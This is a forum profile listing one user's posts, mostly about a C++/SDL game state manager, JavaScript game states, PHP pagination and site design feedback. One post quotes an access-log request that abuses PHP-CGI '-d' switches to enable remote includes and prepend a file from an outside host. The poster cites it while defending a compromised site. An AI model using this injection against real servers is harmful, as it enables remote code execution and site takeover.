Jump to content

astralaaron

Members
  • Posts

    1,254
  • Joined

  • Last visited

Everything posted by astralaaron

  1. Maybe GameLevel would be a better name. Each 'state' class is basically a mini game. Each one has an array of objects, updating/rules, input handling, and drawing. I am reading through the Javascript Inheritance google search and there is a lot of good information there that is helping me understand the syntax. The more that I read and mess with this I am thinking maybe I don't even need to inherit from a parent class for this. I am starting to think this because in C++ I am pretty sure that the reason is so that the vector (array) can have a universal 'type' for all of the game states. In Javascript I think It wouldn't be a problem that they were not of the same parent type (I may be wrong, I am about to go mess with it now.) As long as the classes that I make for states have the needed methods it may just work. I will post it if I figure anything out.
  2. AJAX is a technique of JS. Frames are out dated unless you are talking about an iframe but I think all you need is to load your images into a <div> with AJAX
  3. ( I almost did not post this because it is a very big post...it is the full C++ game state manager with one game state called TestState, I am sorry for such a long post. If anyone is interested in getting this code working in c++ pm me and I can help with that..) Ok here is the C++ singleton game state manager, I can also show a java game state manager that works the same way if it would help figure out a way with javascript.(this code example is using SDL as the graphics library if anyone wants to use it) #ifndef _GAME_STATE_H_#define _GAME_STATE_H_ #include "Game.h" class GameState { public: virtual void init() = 0; virtual void clean() = 0; virtual void handleInput(Game* game) = 0; virtual void update(Game* game) = 0; virtual void draw(Game* game) = 0; virtual void pause() = 0; virtual void resume() = 0; void changeState(Game* game, GameState* state) { game->changeState(state); } protected: GameState(){} };#endif Then each state of the game inherits the GameState class and must implement all of the functions declared as virtual in the GameState class #ifndef _TEST_STATE_H_#define _TEST_STATE_H_ #include "GameState.h" class TestState : public GameState { public: void init(); void clean(); void handleInput(Game* game); void update(Game* game); void draw(Game* game); void pause(); void resume(); static TestState* instance() { return &g_TestState; } protected: TestState(){} private: static TestState g_TestState;}; #endif here is the implementation if the TestState which just draws a rectangle on the screen. #include "TestState.h" TestState TestState::g_TestState; void TestState::init(){}void TestState::clean(){} void TestState::handleInput(Game* game){ SDL_Event event; if(SDL_PollEvent(&event)) { switch(event.type){ case SDL_QUIT: GameInst::Instance()->quit(); break; default:break; } }} void TestState::update(Game* game){} void TestState::draw(Game* game){ SDL_Rect offset; offset.x = 10; offset.y = 10; offset.w = 100; offset.h = 100; SDL_FillRect(GameInst::Instance()->getScreen(), &offset, SDL_MapRGB(GameInst::Instance()->getScreen()->format, 0x00, 0x55, 0x00));} void TestState::pause(){}void TestState::resume(){} #ifndef SINGLETON_H#define SINGLETON_H template <class T>class Singleton{public: static T* Instance() { static T myT; return &myT; }};#endif The game class is the class that makes the game window and holds a vector (array) of the GameState objects. The last element in that array is the current state.The Game class also has changeState, pushState, and popState functions to change between states. #ifndef _GAME_H_#define _GAME_H_ #include <SDL/SDL.h>#include "Singleton.h"#include <vector> using namespace std; class GameState; class Game { public: Game(); void init(const char* title, int screen_width, int screen_height, int screen_bpp, bool fullscreen); void clean(); void handleInput(); void update(); void draw(); void changeState(GameState* state); void pushState(GameState* state); void popState(GameState* state); bool isRunning(){ return b_gameRunning; } void quit() { b_gameRunning = false; } SDL_Surface* getScreen() { return display; } private: vector<GameState*> states; SDL_Surface* display; friend class Singleton<Game>; bool b_gameRunning; bool b_fullScreen;}; typedef Singleton<Game> GameInst; #endif here is the implementation of the game class take a look at how the changeState method works, this is what I really want to emulate in Javascript. #include "Game.h"#include "GameState.h" Game::Game(){} void Game::init(const char* title, int screen_width, int screen_height, int screen_bpp, bool fullscreen){ int flags = 0; SDL_Init(SDL_INIT_EVERYTHING); if(fullscreen) flags = SDL_FULLSCREEN; display = SDL_SetVideoMode(screen_width, screen_height, screen_bpp, flags); SDL_WM_SetCaption(title,title); b_fullScreen = fullscreen; b_gameRunning = true;} void Game::clean(){ SDL_FreeSurface(display); SDL_Quit();} void Game::handleInput(){ states.back()->handleInput(this);}void Game::update(){ states.back()->update(this);}void Game::draw(){ states.back()->draw(this); SDL_Flip(display);} void Game::changeState(GameState* state){ if(!states.empty()){ states.back()->clean(); states.pop_back(); } states.push_back(state); states.back()->init();}void Game::pushState(GameState* state){ if(!states.empty()) { states.back()->pause(); } states.push_back(state); states.back()->init();} void Game::popState(GameState* state){ if(!states.empty()) { states.back()->clean(); states.pop_back(); } if(!states.empty()) { states.back()->resume(); }} then finally the main.cpp file will run the init in the Game class then add the TestState to the array of states with changeState #include "Game.h"#include "TestState.h" int main(int argc, char* argv[]) { GameInst::Instance()->init("test",400,600,32,false); GameInst::Instance()->changeState(TestState::instance()); Uint32 start; while(GameInst::Instance()->isRunning()) { start = SDL_GetTicks(); GameInst::Instance()->handleInput(); GameInst::Instance()->update(); GameInst::Instance()->draw(); if((1000/60) > SDL_GetTicks() - start) { SDL_Delay((1000/60) - (SDL_GetTicks() - start)); } } GameInst::Instance()->clean(); return 0;} At this point you can just copy the TestState.h and TestState.cpp for each new level in your game which makes it easy to organize a game with many levels. (Sorry for such a long post) I hope that somebody can look at this and see how something similar can be done in JavaScript. If anyone is having trouble in C++ with what I have posted let me know and I will help. on http://27software.net/canvas/ I have a basic game loop working with javascript with a rectangle you can move around the screen, so I am good on how to draw on the canvas but thanks for that advice.
  4. I am fine with the drawing on the canvas part, I just don't understand yet how to implement the GameState interface.
  5. I am just talking about being able to go from a "Title menu" to "Level 1" and "Level 2" in a game. No refreshing, and the graphics would be drawn on to the html5 canvas. What Ignolme posted looks like what I need, but how do you implement your states from that? Is this going to work like an interface in Java or will this work different?
  6. I am just wondering if anyone here has any advice on this. I know this isn't a game development forum but I am sure you all know javascript and html5 is becomming popular. I have been programming games with c++ and java, I use a Singleton method for managing game states. I am not sure how to go about it in javascript, from reading around I am hearing that since javascript uses prototyping it is not a "true" OOP language and singleton methods won't work. So what would a good way be to handle a game state? I guess it would be possible to pass them to a new page on the website for each state but that does not seem like a very good option. thanks for any advice
  7. something like this // imgId is the id of the image you want to change// newSrc is the new image pathfunction swapImg(imgId,newSrc){elm = document.getElementById(imgId);elm.src = newSrc;return true;}//pre load the imagevar img5=new Image();img5.src="myImage.jpg";// mouse over example<img src="someImage.jpg" onmouseover="swapImg(this.id,img5.src);" />
  8. This would have made my head spin when I was just beginning
  9. Thank you for clearing that up, php is running as an Apache module.
  10. I have recently cleared malicious code and htaccess files off of a couple of my websites and changed the passwords. Since then I have been watching my access logs and I can see routinely there is someone trying to run commands like this: "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F000.000.000.000%2Finfo3.txt i removed the IP address that was in the link they are trying to use in the auto_prepend_file option because I got a virus when I tried connecting to it from my computer. my question is simply is there an easy way to disable the -d 'switches' they are trying to use to override the php.ini settings? if not, would making a function to run the $_GET array through to check for a pattern match be an effective way of stopping those settings from being used? from what I understand the auto_prepend_file is a file that runs before the page loads. any advice is appreciated.
  11. Hi I have a few suggestions : removing the gap between the content area and the banner. About the banner, I like it, but I don't like how it is only 1 red tone with white, I think you have something going with that graphic but it needs a little work. The main company name logo in blue, I didn't even see that up there, my eyes ignored that color for some reason because it was so different I guess, I think that should be changed too.
  12. I have one other idea from all of the posts about a "try it yourself editor" for PHP. I think that a major problem most people who are learning have is learning to debug their own syntax errors. It would be really cool (and I can't think why not possible) to make something similar to a try it editor but it is instead a crash course for debugging syntax errors. There could be general descriptions of the different possible errors, and then a generator that would write out a block of code with an error that the user would need to look through, identify the error, and correct it. The correct version could be stored into a session or something sort of like a Captcha to determine if they corrected the errors EDIT: It would also be very helpful if methods were shared as far as how a good programmer would work through their code to determine where an error is and how to identify the problem line.
  13. Reference for available short hand options!? for example //longif(false == $something)//shortif(!$something) //long if(1 < 2) {$result = true;} else {$result = false;} //short$result = (1 < 2) ? true : false; I am suggesting this because this type of stuff really confused me when I was new and trying to learn from examples, often times the examples would write things in short hand. When you are new to programming anything foreign to you is very intimidating. This would be a great addition.
  14. Site Name: Astral Design:Site Description: personal portfolio:Site Owner/Developer:Astral AaronSite Address: http://members.cox.net/astralaaron/ Extra Comments: I just realized my internet provider offerd some free webspace so I made a little temporary page untill I can get some real webspace!the site is obveously not finished, I just threw some text on there which will be changed once I put some thought into it.but I just want to hear what you guys have to say about the design - those are actually the first images Ive ever made in photoshop, I am a real newbie with that program! anyway be honest
  15. astralaaron

    mail() function

    go herehttp://www.phpeasystep.com/phptu/23.htmlyou can download a free localhost mail server that lets you test mail programs on your localhost, just follow the steps. I have been using it and it works great.
  16. go herehttp://www.phpeasystep.com/phptu/23.htmlyou can download a free localhost mail server that lets you test mail programs on your localhost, just follow the steps. I have been using it and it works great.
  17. yeaH that is what the problem was
  18. This guy is very cool, he took alot of time to help me out!

  19. HEY IT WORKS!!! this thread can finnaly go away now hah thank you so much for that.. you are the MAN
  20. I changed:for ($i=1; $i <= $total_pages; $i++) {if ($i == $page)tofor ($i=1; $i <= ceil($total_pages); $i++) { if ($i == $page)but the LAST button still sends me to a weird link:http://localhost/vikingbjj/mmabjj_viewtopi...23&page=2.6why is it a decimal?? and not page 3
  21. and no the site is not live yet, it is on my localmachine right now
  22. yeah I realized that about the first and previous on the first page ahah, I am a bit tired right now!the only problem is the LAST buttonit is sending me to pages like thishttp://localhost/vikingbjj/mmabjj_viewtopi...23&page=2.2instead of page=3
  23. okay the only thing not working is the "last" button..there is a total of 3 pages ofposts opn my test topicand the last button sends me to http://localhost/vikingbjj/mmabjj_viewtopi...23&page=2.2now..it loads the second page
×
×
  • Create New...